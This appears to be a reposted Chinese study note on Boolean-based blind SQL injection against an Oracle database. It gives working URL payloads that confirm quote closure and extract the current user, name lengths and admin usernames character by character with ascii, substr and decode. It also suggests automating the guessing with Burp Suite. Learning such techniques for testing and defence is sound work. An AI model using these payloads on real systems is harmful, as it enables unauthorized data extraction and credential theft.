大哥带的Orchel数据库的盲注入bool型

0X01判断闭合

?username=SMITH' 错误
?username=SMITH'' 正确
?username=SMITH' and ascii(substr((select user from dual),1,1))>82 

那么是‘闭合

0X02基于bool的盲注 根据返回信息判断

?username=SMITH' and ascii(substr((select user from dual),1,1))>82 --  正确
?username=SMITH' and ascii(substr((select user from dual),1,1))>83  -- 错误

那么user的第一个字母就是ascii码为83的

第二种基于bool的盲注入 decode (偷学)

decode(字段或字段的运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3

当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多
使用方法:
比较大小

select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值

sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1

例如:
变量1=10,变量2=20
则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。

SQL> select decode(sign(10-20),-1,10,20) from dual;

DECODE(SIGN(10-20),-1,10,20)
----------------------------
                          10

So 这里我们用decode进行注入

测试当前用户

select decode(user,'SYSTEM',1,0) from dual;

如果是system用户则返回1,不是则返回0.

SQL> select decode(user,'SYSTEM',1,0) from dual;

DECODE(USER,'SYSTEM',1,0)
-------------------------
                        1

SQL> select decode(user,'SYS',1,0) from dual;

DECODE(USER,'SYS',1,0)
----------------------
                     0

00XA

注入点中decode盲注的应用 判断当前用户是不是‘SCOTT'

?username=SMITH' and 1=decode((select user from dual),'SCOTT',1,0) -- 正确

当前也可以用字符逐个猜解,利用到substr()函数

?username=SMITH' and 1=decode(substr((select user from dual),1,1),'S',1,0) --

 

获取当前用户名的长度

?username=SMITH' and 1=decode(length((select user from dual)),5,1,0) --

 判断字符的字符

abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.

判断username的第一个值

?username=SMITH' and 1=decode(substr((select username from admin where rownum=1),1,1),'a',1,0) --

概知道这些函数的用法 跑脚本爆破即可 burpsuite为例

 通用盲注方法 逐字猜解

?username=SMITH' and ascii(substr((select username from admin where rownum=1),1,1))=97 --

谢谢卿哥哥哥哥 爱你

又收获这么多 舒舒服服

猜你喜欢

转载自www.cnblogs.com/-zhong/p/10952045.html